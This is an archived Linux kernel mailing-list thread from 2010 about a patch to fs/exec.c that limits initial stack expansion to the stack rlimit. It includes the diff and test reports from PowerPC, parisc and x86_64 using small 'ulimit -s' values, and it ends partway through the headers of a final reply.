This fixes a bug caused by b6a2fea39318e43fee84fa7b0b90d68bed92d2ba ("mm:
variable length argument support") and unmasked by
fc63cf237078c86214abcb2ee9926d8ad289da9b ("exec: setup_arg_pages() fails
to return errors").

This bug means that when limiting the stack to less the 20*PAGE_SIZE (eg. 
80K on 4K pages or 'ulimit -s 79') all processes will be killed before
they start.  This is particularly bad with 64K pages, where a ulimit below
1280K will kill every process.

Signed-off-by: Michael Neuling <mikey@neuling.org>
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Cc: Americo Wang <xiyou.wangcong@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Oleg Nesterov <oleg@redhat.com>
Cc: James Morris <jmorris@namei.org>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Serge Hallyn <serue@us.ibm.com>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: <stable@kernel.org>

 fs/exec.c |   21 +++++++++++++++++++--
 1 file changed, 19 insertions(+), 2 deletions(-)

diff -puN fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit fs/exec.c
--- a/fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit
+++ a/fs/exec.c
@@ -571,6 +571,9 @@ int setup_arg_pages(struct linux_binprm 
 	struct vm_area_struct *prev = NULL;
 	unsigned long vm_flags;
 	unsigned long stack_base;
+	unsigned long stack_size;
+	unsigned long stack_expand;
+	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
 	/* Limit stack size to 1GB */
@@ -627,10 +630,24 @@ int setup_arg_pages(struct linux_binprm 
 			goto out_unlock;
 	}
 
+	stack_expand = EXTRA_STACK_VM_PAGES * PAGE_SIZE;
+	stack_size = vma->vm_end - vma->vm_start;
+	/*
+	 * Align this down to a page boundary as expand_stack
+	 * will align it up.
+	 */
+	rlim_stack = rlimit(RLIMIT_STACK) & PAGE_MASK;
+	rlim_stack = min(rlim_stack, stack_size);
 #ifdef CONFIG_STACK_GROWSUP
-	stack_base = vma->vm_end + EXTRA_STACK_VM_PAGES * PAGE_SIZE;
+	if (stack_size + stack_expand > rlim_stack)
+		stack_base = vma->vm_start + rlim_stack;
+	else
+		stack_base = vma->vm_end + stack_expand;
 #else
-	stack_base = vma->vm_start - EXTRA_STACK_VM_PAGES * PAGE_SIZE;
+	if (stack_size + stack_expand > rlim_stack)
+		stack_base = vma->vm_end - rlim_stack;
+	else
+		stack_base = vma->vm_start - stack_expand;
 #endif
 	ret = expand_stack(vma, stack_base);
 	if (ret)
_

From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Neuling <mikey@neuling.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Wed, 10 Feb 2010 08:51:29 +1100
Lines: 111
Approved: news@gmane.org
Message-ID: <10733.1265752289@neuling.org>
References: <20100208161014.7C6D.A69D9226@jp.fujitsu.com> <1273.1265695885@neuling.org> <20100209154141.03F0.A69D9226@jp.fujitsu.com> <11046.1265705967@neuling.org> <20100209132529.bfc455b7.akpm@linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265752308 29798 80.91.229.12 (9 Feb 2010 21:51:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Feb 2010 21:51:48 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 09 22:51:40 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nexza-0005Yc-Cv
	for glpp-linux-parisc@lo.gmane.org; Tue, 09 Feb 2010 22:51:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753624Ab0BIVvd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Feb 2010 16:51:33 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:45107 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753230Ab0BIVvc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Feb 2010 16:51:32 -0500
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 0E820B7CFD;
	Wed, 10 Feb 2010 08:51:31 +1100 (EST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id C668812001; Wed, 10 Feb 2010 08:51:29 +1100 (EST)
Original-Received: from neuling.org (localhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id C0E842200E;
	Wed, 10 Feb 2010 08:51:29 +1100 (EST)
In-reply-to: <20100209132529.bfc455b7.akpm@linux-foundation.org>
Comments: In-reply-to Andrew Morton <akpm@linux-foundation.org>
   message dated "Tue, 09 Feb 2010 13:25:29 -0800."
X-Mailer: MH-E 8.2; nmh 1.3; GNU Emacs 23.1.1
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2638 gmane.linux.file-systems:38131 gmane.linux.kernel:948270 gmane.linux.ports.ppc64.devel:64389
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2638>


> > > note: it's untested.
> > 
> > Works for me on ppc64 with 4k and 64k pages.  Thanks!
> > 
> > I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> > as well.
> 
> There's only one CONFIG_GROWSUP arch - parisc.
> 
> Guys, here's the rolled-up patch.  

FYI the rolled up patch still works fine on PPC64.  Thanks.  

> Could someone please test it on parisc?
> 
> err, I'm not sure what one needs to do to test it, actually. 
> Presumably it involves setting an unusual `ulimit -s'.  Can someone
> please suggest a test plan?

How about doing:
  'ulimit -s 15; ls'
before and after the patch is applied.  Before it's applied, 'ls' should
be killed.  After the patch is applied, 'ls' should no longer be killed.

I'm suggesting a stack limit of 15KB since it's small enough to trigger
20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
case to handle correctly with this code.

4K pages on parisc should be fine to test with.

Mikey

> 
> From: Michael Neuling <mikey@neuling.org>
> 
> When reserving stack space for a new process, make sure we're not
> attempting to expand the stack by more than rlimit allows.
> 
> This fixes a bug caused by b6a2fea39318e43fee84fa7b0b90d68bed92d2ba ("mm:
> variable length argument support") and unmasked by
> fc63cf237078c86214abcb2ee9926d8ad289da9b ("exec: setup_arg_pages() fails
> to return errors").
> 
> This bug means that when limiting the stack to less the 20*PAGE_SIZE (eg. 
> 80K on 4K pages or 'ulimit -s 79') all processes will be killed before
> they start.  This is particularly bad with 64K pages, where a ulimit below
> 1280K will kill every process.
> 
> Signed-off-by: Michael Neuling <mikey@neuling.org>
> Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
> Cc: Americo Wang <xiyou.wangcong@gmail.com>
> Cc: Anton Blanchard <anton@samba.org>
> Cc: Oleg Nesterov <oleg@redhat.com>
> Cc: James Morris <jmorris@namei.org>
> Cc: Ingo Molnar <mingo@elte.hu>
> Cc: Serge Hallyn <serue@us.ibm.com>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: <stable@kernel.org>
> 
>  fs/exec.c |   21 +++++++++++++++++++--
>  1 file changed, 19 insertions(+), 2 deletions(-)
> 
> diff -puN fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit
 fs/exec.c
> --- a/fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit
> +++ a/fs/exec.c
> @@ -571,6 +571,9 @@ int setup_arg_pages(struct linux_binprm 
>  	struct vm_area_struct *prev = NULL;
>  	unsigned long vm_flags;
>  	unsigned long stack_base;
> +	unsigned long stack_size;
> +	unsigned long stack_expand;
> +	unsigned long rlim_stack;
>  
>  #ifdef CONFIG_STACK_GROWSUP
>  	/* Limit stack size to 1GB */
> @@ -627,10 +630,24 @@ int setup_arg_pages(struct linux_binprm 
>  			goto out_unlock;
>  	}
>  
> +	stack_expand = EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> +	stack_size = vma->vm_end - vma->vm_start;
> +	/*
> +	 * Align this down to a page boundary as expand_stack
> +	 * will align it up.
> +	 */
> +	rlim_stack = rlimit(RLIMIT_STACK) & PAGE_MASK;
> +	rlim_stack = min(rlim_stack, stack_size);
>  #ifdef CONFIG_STACK_GROWSUP
> -	stack_base = vma->vm_end + EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> +	if (stack_size + stack_expand > rlim_stack)
> +		stack_base = vma->vm_start + rlim_stack;
> +	else
> +		stack_base = vma->vm_end + stack_expand;
>  #else
> -	stack_base = vma->vm_start - EXTRA_STACK_VM_PAGES * PAGE_SIZE;
> +	if (stack_size + stack_expand > rlim_stack)
> +		stack_base = vma->vm_end - rlim_stack;
> +	else
> +		stack_base = vma->vm_start - stack_expand;
>  #endif
>  	ret = expand_stack(vma, stack_base);
>  	if (ret)
> _
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Tue, 09 Feb 2010 23:27:08 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <4B71E13C.2050905@gmx.de>
References: <20100208161014.7C6D.A69D9226@jp.fujitsu.com> <1273.1265695885@neuling.org> <20100209154141.03F0.A69D9226@jp.fujitsu.com> <11046.1265705967@neuling.org> <20100209132529.bfc455b7.akpm@linux-foundation.org> <10733.1265752289@neuling.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265754461 4843 80.91.229.12 (9 Feb 2010 22:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Feb 2010 22:27:41 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: Michael Neuling <mikey@neuling.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 09 23:27:35 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NeyYR-0006f2-5L
	for glk-linux-kernel-3@lo.gmane.org; Tue, 09 Feb 2010 23:27:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754620Ab0BIW1X (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 9 Feb 2010 17:27:23 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:52781 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754572Ab0BIW1U (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 9 Feb 2010 17:27:20 -0500
Original-Received: (qmail invoked by alias); 09 Feb 2010 22:27:16 -0000
Original-Received: from p54AD2ECF.dip0.t-ipconnect.de (EHLO halden.box) [84.173.46.207]
  by mail.gmx.net (mp017) with SMTP; 09 Feb 2010 23:27:16 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18qcnAL81wqnkeRMUs1IJ+BzMek8j/+Yzj5UYO6i0
	IvYZFQl1/l8qrg
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100120 Fedora/3.0.1-1.fc11 Lightning/1.0b2pre Thunderbird/3.0.1
In-Reply-To: <10733.1265752289@neuling.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.45000000000000001
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:948280 gmane.linux.file-systems:38132 gmane.linux.ports.ppc64.devel:64392 gmane.linux.ports.parisc:2639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2639>

On 02/09/2010 10:51 PM, Michael Neuling wrote:
>>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
>>> as well.
>>
>> There's only one CONFIG_GROWSUP arch - parisc.
>> Could someone please test it on parisc?

I did.

> How about doing:
>    'ulimit -s 15; ls'
> before and after the patch is applied.  Before it's applied, 'ls' should
> be killed.  After the patch is applied, 'ls' should no longer be killed.
>
> I'm suggesting a stack limit of 15KB since it's small enough to trigger
> 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
> case to handle correctly with this code.
>
> 4K pages on parisc should be fine to test with.

Mikey, thanks for the suggested test plan.

I'm not sure if your patch does it correct for parisc/stack-grows-up-case.

I tested your patch on  a 4k pages kernel:
root@c3000:~# uname -a
Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/Linux

Without your patch:
root@c3000:~# ulimit -s 15; ls
Killed
-> correct.

With your patch:
root@c3000:~# ulimit -s 15; ls
Killed
_or_:
root@c3000:~# ulimit -s 15; ls
Segmentation fault
-> ??

Any idea?

Helge


>> From: Michael Neuling<mikey@neuling.org>
>>
>> When reserving stack space for a new process, make sure we're not
>> attempting to expand the stack by more than rlimit allows.
>>
>> This fixes a bug caused by b6a2fea39318e43fee84fa7b0b90d68bed92d2ba ("mm:
>> variable length argument support") and unmasked by
>> fc63cf237078c86214abcb2ee9926d8ad289da9b ("exec: setup_arg_pages() fails
>> to return errors").
>>
>> This bug means that when limiting the stack to less the 20*PAGE_SIZE (eg.
>> 80K on 4K pages or 'ulimit -s 79') all processes will be killed before
>> they start.  This is particularly bad with 64K pages, where a ulimit below
>> 1280K will kill every process.
>>
>> Signed-off-by: Michael Neuling<mikey@neuling.org>
>> Cc: KOSAKI Motohiro<kosaki.motohiro@jp.fujitsu.com>
>> Cc: Americo Wang<xiyou.wangcong@gmail.com>
>> Cc: Anton Blanchard<anton@samba.org>
>> Cc: Oleg Nesterov<oleg@redhat.com>
>> Cc: James Morris<jmorris@namei.org>
>> Cc: Ingo Molnar<mingo@elte.hu>
>> Cc: Serge Hallyn<serue@us.ibm.com>
>> Cc: Benjamin Herrenschmidt<benh@kernel.crashing.org>
>> Cc:<stable@kernel.org>
>>
>>   fs/exec.c |   21 +++++++++++++++++++--
>>   1 file changed, 19 insertions(+), 2 deletions(-)
>>
>> diff -puN fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit
>   fs/exec.c
>> --- a/fs/exec.c~fs-execc-restrict-initial-stack-space-expansion-to-rlimit
>> +++ a/fs/exec.c
>> @@ -571,6 +571,9 @@ int setup_arg_pages(struct linux_binprm
>>   	struct vm_area_struct *prev = NULL;
>>   	unsigned long vm_flags;
>>   	unsigned long stack_base;
>> +	unsigned long stack_size;
>> +	unsigned long stack_expand;
>> +	unsigned long rlim_stack;
>>
>>   #ifdef CONFIG_STACK_GROWSUP
>>   	/* Limit stack size to 1GB */
>> @@ -627,10 +630,24 @@ int setup_arg_pages(struct linux_binprm
>>   			goto out_unlock;
>>   	}
>>
>> +	stack_expand = EXTRA_STACK_VM_PAGES * PAGE_SIZE;
>> +	stack_size = vma->vm_end - vma->vm_start;
>> +	/*
>> +	 * Align this down to a page boundary as expand_stack
>> +	 * will align it up.
>> +	 */
>> +	rlim_stack = rlimit(RLIMIT_STACK)&  PAGE_MASK;
>> +	rlim_stack = min(rlim_stack, stack_size);
>>   #ifdef CONFIG_STACK_GROWSUP
>> -	stack_base = vma->vm_end + EXTRA_STACK_VM_PAGES * PAGE_SIZE;
>> +	if (stack_size + stack_expand>  rlim_stack)
>> +		stack_base = vma->vm_start + rlim_stack;
>> +	else
>> +		stack_base = vma->vm_end + stack_expand;
>>   #else
>> -	stack_base = vma->vm_start - EXTRA_STACK_VM_PAGES * PAGE_SIZE;
>> +	if (stack_size + stack_expand>  rlim_stack)
>> +		stack_base = vma->vm_end - rlim_stack;
>> +	else
>> +		stack_base = vma->vm_start - stack_expand;
>>   #endif
>>   	ret = expand_stack(vma, stack_base);
>>   	if (ret)

From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Wed, 10 Feb 2010 14:12:51 +0900 (JST)
Lines: 45
Approved: news@gmane.org
Message-ID: <20100210141016.4D18.A69D9226@jp.fujitsu.com>
References: <10733.1265752289@neuling.org> <4B71E13C.2050905@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265778811 31148 80.91.229.12 (10 Feb 2010 05:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2010 05:13:31 +0000 (UTC)
Cc: Michael Neuling <mikey@neuling.org>, linux-parisc@vger.kernel.org,
	stable@kernel.org, aeb@cwi.nl, Oleg Nesterov <oleg@redhat.com>,
	miltonm@bga.com, James Morris <jmorris@namei.org>,
	linuxppc-dev@ozlabs.org, Paul Mackerras <paulus@samba.org>,
	Anton Blanchard <anton@samba.org>,
	kosaki.motohiro@jp.fujitsu.com, Serge Hallyn <serue@us.ibm.com>,
	linux-fsdevel@vger.kernel.org, Americo Wang <xiyou.wangcong@gmail.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Ingo Molnar <mingo@elte.hu>, linux-kernel@vger.kernel.org,
	Alexander Viro <viro@zeniv.linux.org.uk>
To: Helge Deller <deller@gmx.de>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Wed Feb 10 06:13:25 2010
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1Nf4tA-000690-Fh
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 10 Feb 2010 06:13:25 +0100
Original-Received: from bilbo.ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 1E03EB7E8F
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 10 Feb 2010 16:13:07 +1100 (EST)
Original-Received: by ozlabs.org (Postfix)
	id A7D0EB7D8D; Wed, 10 Feb 2010 16:12:56 +1100 (EST)
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from fgwmail7.fujitsu.co.jp (fgwmail7.fujitsu.co.jp [192.51.44.37])
	by ozlabs.org (Postfix) with ESMTP id 22F10B7D74
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 16:12:55 +1100 (EST)
Original-Received: from m1.gw.fujitsu.co.jp ([10.0.50.71])
	by fgwmail7.fujitsu.co.jp (Fujitsu Gateway) with ESMTP id
	o1A5Cr5J013368 for <linuxppc-dev@ozlabs.org> (envelope-from
	kosaki.motohiro@jp.fujitsu.com); Wed, 10 Feb 2010 14:12:53 +0900
Original-Received: from smail (m1 [127.0.0.1])
	by outgoing.m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 1791E45DE56
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 14:12:53 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (s1.gw.fujitsu.co.jp [10.0.50.91])
	by m1.gw.fujitsu.co.jp (Postfix) with ESMTP id E907745DE52
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 14:12:52 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id C5FDAE38006
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 14:12:52 +0900 (JST)
Original-Received: from m106.s.css.fujitsu.com (m106.s.css.fujitsu.com [10.249.87.106])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id 6C01C1DB8040
	for <linuxppc-dev@ozlabs.org>; Wed, 10 Feb 2010 14:12:52 +0900 (JST)
Original-Received: from m106.css.fujitsu.com (m106 [127.0.0.1])
	by m106.s.css.fujitsu.com (Postfix) with ESMTP id 1CFAE5B8B5A;
	Wed, 10 Feb 2010 14:12:52 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.100.179])
	by m106.s.css.fujitsu.com (Postfix) with ESMTP id 60E8D5B8B5C;
	Wed, 10 Feb 2010 14:12:51 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.100.179] by KOSANOTE2
	(FujitsuOutboundMailChecker v1.3.1/9992[10.124.100.179]);
	Wed, 10 Feb 2010 14:12:51 +0900 (JST)
In-Reply-To: <4B71E13C.2050905@gmx.de>
X-Mailer: Becky! ver. 2.50.07 [ja]
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.13
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:32975 gmane.linux.ports.parisc:2640 gmane.linux.file-systems:38133 gmane.linux.kernel:948404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2640>

> On 02/09/2010 10:51 PM, Michael Neuling wrote:
> >>> I'd still like someone with a CONFIG_STACK_GROWSUP arch to test/ACK it
> >>> as well.
> >>
> >> There's only one CONFIG_GROWSUP arch - parisc.
> >> Could someone please test it on parisc?
> 
> I did.
> 
> > How about doing:
> >    'ulimit -s 15; ls'
> > before and after the patch is applied.  Before it's applied, 'ls' should
> > be killed.  After the patch is applied, 'ls' should no longer be killed.
> >
> > I'm suggesting a stack limit of 15KB since it's small enough to trigger
> > 20*PAGE_SIZE.  Also 15KB not a multiple of PAGE_SIZE, which is a trickier
> > case to handle correctly with this code.
> >
> > 4K pages on parisc should be fine to test with.
> 
> Mikey, thanks for the suggested test plan.
> 
> I'm not sure if your patch does it correct for parisc/stack-grows-up-case.
> 
> I tested your patch on  a 4k pages kernel:
> root@c3000:~# uname -a
> Linux c3000 2.6.33-rc7-32bit #221 Tue Feb 9 23:17:06 CET 2010 parisc GNU/Linux
> 
> Without your patch:
> root@c3000:~# ulimit -s 15; ls
> Killed
> -> correct.
> 
> With your patch:
> root@c3000:~# ulimit -s 15; ls
> Killed
> _or_:
> root@c3000:~# ulimit -s 15; ls
> Segmentation fault
> -> ??
> 
> Any idea?

My x86_64 box also makes segmentation fault. I think "ulimit -s 15" is too small stack for ls.
"ulimit -s 27; ls "  wroks perfectly fine.

From - Thu Nov 08 21:05:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Neuling <mneuling@au1.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.file-systems,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Restrict initial stack space expansion to rlimit
Date: Wed, 10 Feb 2010 16:30:16 +1100
Lines: 62
Approved: news@gmane.org
Message-ID: <16993.1265779816@neuling.org>
References: <10733.1265752289@neuling.org> <4B71E13C.2050905@gmx.de> <20100210141016.4D18.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265779841 1202 80.91.229.12 (10 Feb 2010 05:30:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 10 Feb 2010 05:30:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	Americo Wang <xiyou.wangcong@gmail.com>,
	Anton Blanchard <anton@samba.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Alexander Viro <viro@zeniv.linux.org.uk>,
	Oleg Nesterov <oleg@redhat.com>,
	James Morris <jmorris@namei.org>, Ingo Molnar <mingo@elte.hu>,
	linux-fsdevel@vger.kernel.org, stable@kernel.org,
	linux-kernel@vger.kernel.org, linuxppc-dev@ozlabs.org,
	Serge Hallyn <serue@us.ibm.com>,
	Paul Mackerras <paulus@samba.org>, benh@kernel.crashing.org,
	miltonm@bga.com, aeb@cwi.nl, linux-parisc@vger.kernel.org
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 10 06:30:35 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Nf59m-0004M5-BD
	for glpp-linux-parisc@lo.gmane.org; Wed, 10 Feb 2010 06:30:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751331Ab0BJFaT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Feb 2010 00:30:19 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:47176 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751081Ab0BJFaS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Feb 2010 00:30:18 -0500
Original-Received: from localhost.localdomain (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 13D63B7D74;
	Wed, 10 Feb 2010 16:30:17 +1100 (EST)
Original-Received: by localhost.localdomain (Postfix, from userid 1000)
	id 66DE912001; Wed, 10 Feb 2010 16:30:16 +1100 (EST)
Original-Received: from neuling.org (localhost [127.0.0.1])
	by localhost.localdomain (Postfix) with ESMTP id 614CE2200E;
	Wed, 10 Feb 2010 16:30:16 +1100 (EST)
In-reply-to: <20100210141016.4D18.A69D9226@jp.fujitsu.com>
Comments: In-reply-to KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
